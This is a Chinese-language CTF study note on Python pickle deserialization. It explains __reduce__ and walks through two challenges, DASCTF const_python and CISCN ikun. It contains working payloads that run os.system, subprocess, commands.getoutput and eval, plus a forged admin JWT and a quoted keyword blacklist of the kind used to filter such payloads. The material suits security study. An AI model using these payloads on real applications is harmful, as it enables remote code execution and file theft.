Pickle反序列化
- Pickle反序列化
- 说明
- 攻击
- 攻击手段
- protocol
- 例题
- DASCTF 2024最后一战--const_python
- [CISCN2019 华北赛区 Day1 Web2]ikun
说明
跟别的反序列化攻击的大致思路一样,就是我们攻击的时候如果可以在序列化的数据里面嵌入恶意代码,当我们发序列化这个数据的时候,这些恶意代码就可以被执行,达到攻击的效果。
在此之前学习一下Python的 __reduce__
方法
在Python中,__reduce__方法是对象序列化(即将对象转换为字节流)的一个重要部分,特别是在使用pickle模块时。__reduce__方法允许你定义对象在被序列化和反序列化时的行为。 具体来说,__reduce__方法返回一个元组,该元组包含两个元素:
一个可调用对象(通常是一个构造函数或一个函数),用于在反序列化时重新创建对象。
一个参数元组,这些参数将传递给上述的可调用对象。
通过实现__reduce__方法,你可以自定义对象的序列化和反序列化过程
一个 __reduce__
典型的例子:
import pickle
class MyClass:
def __init__(self, value):
self.value = value
def __reduce__(self):
# 返回一个元组(可调用对象,参数)
return (self.__class__, (self.value,))
# 创建对象
obj = MyClass(42)
# 序列化对象
serialized_obj = pickle.dumps(obj)
# 反序列化对象
deserialized_obj = pickle.loads(serialized_obj)
print(deserialized_obj.value) # 输出: 42
这个序列化的流程如下:序列化流程:
- Python检查对象是否实现
__reduce__
- 调用
obj.__reduce__()
得到重构对象所需的信息 - 将返回的元组转换为字节流(此时相当于存储命令
"用MyClass和参数42重建对象"
)
反序列化流程:
- 解析字节流获取重构信息
- 执行
MyClass(42)
调用(通过__reduce__
中提供的信息) - 创建与原始对象相同状态的新实例
当然如果没有这个 __reduce__
方法的话,测试也是成功的,这利用的是pickle自己默认序列化方法
这里记录一下:
pickle.dumps(obj) 的默认处理步骤:
1. 检查对象是否属于基本类型(如 int/str/list 等)
2. 如果是自定义类实例:
a. 记录类的全限定名(module + class name)
b. 保存实例的__dict__属性字典
c. 生成重建指令:unpickle时会通过 import 类->创建空实例->填充__dict__来实现
pickle.loads(serialized_obj) 的默认反序列化过程:
1. 查找并导入原始类(需要类的定义在作用域内可用)
2. 创建类的空实例(使用__new__方法)
3. 将保存的__dict__属性还原到新实例中(跳过__init__方法)
攻击
从一个例子入手
import pickle
import os
class MaliciousPickle:
# __reduce__ method is called when the object is pickled
def __reduce__(self):
return (os.system,("echo hello",))
data = pickle.dumps(MaliciousPickle())
print(data)
pickle.loads(data)
利用这个例子,可以看出我们已经实现了反序列化攻击
需要了解到的是:
pickle.loads
对于没有显式引入的module会自动尝试import。我们可以尝试更多的命令执行
攻击手段
- eval
- os
- subprocess
沙盒逃逸的知识
protocol
protocol
是pickle
模块的一个参数,用于指定序列化和反序列化数据时使用的协议版本。pickle
模块提供了几种不同的协议版本,每个版本都有不同的特性和能
具体来说:
protocol=0
:这是最早的文本协议(兼容Python 2.x的文本格式)。protocol=1
:这是早期的二进制格式。protocol=2
:引入了Python 2.3,提供了更高效的二进制格式(包含新的对象类型)。protocol=3
:引入了Python 3.x,支持bytes
对象。protocol=4
:引入了Python 3.4,支持更大的对象(超过4GB),并且更高效。protocol=5
:引入了Python 3.8,支持out-of-band数据和其他优化。
需要注意的是
protocol=0
:文本格式,兼容Python 2.x和Python 3.x。protocol=1
:早期的二进制格式,兼容Python 2.x和Python 3.x。protocol=2
:引入了Python 2.3,支持新的对象类型和更高效的二进制格式。兼容Python 2.3及以上版本。protocol=3
:引入了Python 3.x,支持bytes
对象。仅兼容Python 3.x。protocol=4
:引入了Python 3.4,支持更大的对象(超过4GB),并且更高效。仅兼容Python 3.4及以上版本。protocol=5
:引入了Python 3.8,支持out-of-band数据和其他优化。仅兼容Python 3.8及以上版本。
例题
DASCTF 2024最后一战--const_python
根据提示访问src,可以获得源代码
import builtins
import io
import sys
import uuid
from flask import Flask, request,jsonify,session
import pickle
import base64
app = Flask(__name__)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "")
class User:
def __init__(self, username, password, auth='ctfer'):
self.username = username
self.password = password
self.auth = auth
password = str(uuid.uuid4()).replace("-", "")
Admin = User('admin', password,"admin")
@app.route('/')
def index():
return "Welcome to my application"
@app.route('/login', methods=['GET', 'POST'])
def post_login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
if username == 'admin' :
if password == admin.password:
session['username'] = "admin"
return "Welcome Admin"
else:
return "Invalid Credentials"
else:
session['username'] = username
return '''
<form method="post">
<!-- /src may help you>
Username: <input type="text" name="username"><br>
Password: <input type="password" name="password"><br>
<input type="submit" value="Login">
</form>
'''
@app.route('/ppicklee', methods=['POST'])
def ppicklee():
data = request.form['data']
sys.modules['os'] = "not allowed"
sys.modules['sys'] = "not allowed"
try:
pickle_data = base64.b64decode(data)
for i in {"os", "system", "eval", 'setstate', "globals", 'exec', '__builtins__', 'template', 'render', '\\',
'compile', 'requests', 'exit', 'pickle',"class","mro","flask","sys","base","init","config","session"}:
if i.encode() in pickle_data:
return i+" waf !!!!!!!"
pickle.loads(pickle_data)
return "success pickle"
except Exception as e:
return "fail pickle"
@app.route('/admin', methods=['POST'])
def admin():
username = session['username']
if username != "admin":
return jsonify({"message": 'You are not admin!'})
return "Welcome Admin"
@app.route('/src')
def src():
return open("app.py", "r",encoding="utf-8").read()
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False, port=5000)
审计一下,这题的突破口就是/ppicklee
构造pickle链子
本来是想利用命令读出flag,但是基本无回显,根据wp学习需要再利用
src
路由替换读出flag
import base64
import subprocess
import pickle
class hack():
def __reduce__(self):
return (subprocess.check_output, (["cp","/flag","/app/app.py"],))
data = pickle.dumps(hack())
print(base64.b64encode(data))
访问 src
即可
[CISCN2019 华北赛区 Day1 Web2]ikun
写一个简陋的脚本,因为发现那个lv6.png是独特的
import requests
url = "http://8aa61dba-6579-45fc-b171-0b06eb9bda3a.node5.buuoj.cn:81/shop?page="
i = 1
while True:
response = requests.get(url + str(i))
if "lv6.png" in response.text:
print("在第{}页找到了lv6".format(i))
break
i += 1
输出是第183
访问这个/b1g_m4mber,提示需要admin
就是jwt的内容,弱密钥
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo
访问源代码可以找到www.zip下载
找到目标文件:
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib
class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')
@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)
构造
这里使用的是Python2语法,os库不可用
py2
import pickle
import urllib
import commands
class payload(object):
def __reduce__(self):
return (commands.getoutput, ('ls /',))
p = payload()
p = urllib.quote(pickle.dumps(p))
print(p)
py3,这里protocol=0涉及到刚才上面那个问题
import pickle
import urllib
import os
class hack(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(hack(),protocol=0)
print(urllib.parse.quote(a))